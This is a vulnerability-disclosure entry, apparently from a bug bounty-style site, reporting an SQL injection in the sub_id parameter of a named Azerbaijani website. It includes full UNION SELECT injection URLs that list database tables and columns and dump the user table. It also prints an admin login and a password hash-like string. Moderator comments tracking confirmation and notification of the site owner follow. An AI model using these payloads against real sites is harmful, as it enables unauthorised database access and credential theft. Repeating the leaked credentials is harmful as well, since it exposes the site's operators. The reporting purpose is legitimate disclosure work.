1. BUGemot
  2. sub_id= Parametr Sql Inj.

sub_id= Parametr Sql Inj.

halal.az 20 June 2016, 15:19

Detailed information

http://www.halal.az/?id=43&sub_id=859 # Sql Vunl
# Column Sayi 26
# version >5
# Login : Admin
# Pass : 6668a24d03385c60a1d6a621bb72cbdd11215!@#$%7865****!@!%$$###
# Table_name : coni
# Column_names : l_adi , ppp
Datalari Latin1 Convert ederek ekrana cixarmag olar
<tr>
<td align="center"><a href="?id=43&sub_id=1&lang=1" class="sub_t_link">(HTML KODLARA BAXANDA DATALAR BU HISSEDE GORUNECEY )</a></td>
</tr>
www.halal.az/?id=43&sub_id=-859" UNION SELECT 1,2,3,4,CONVERT(group_concat(table_name) USING latin1),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=database()--+-"&lang=1 # Table_names
www.halal.az/?id=43&sub_id=-859" UNION SELECT 1,2,3,4,CONVERT(group_concat(column_name) USING latin1),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=0x636f6e69--+-"&lang=1 # Column_names
http://www.halal.az/?id=43&sub_id=-859%22%20UNION%20SELECT%201,2,3,4,CONVERT%28group_concat%28l_adi,0x3a,ppp%29%20USING%20latin1%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20coni--+-%22&lang=1 # Users Data
##############################################################

Comments

  • 21 October 2016, 13:54
    Vulnerability status
    Have not any information from source

  • 04 October 2016, 10:04
    Added point to Vulnerability
    For translate of bug gived 8 point to translator

  • 04 October 2016, 10:04
    Added point to Vulnerability
    For translate of bug gived 1 point to translator

  • 22 August 2016, 10:17
    Vulnerability status
    Sended e-mail to source about vulnerability

  • 21 June 2016, 13:47
    Added point to Vulnerability
    Moderator gave 8 point from 10 to vulnerability

  • 21 June 2016, 13:45
    Vulnerability status
    Confirmed by Moderator

  • 20 June 2016, 15:19
    Vulnerability added
    Vulnerability added to BUGemot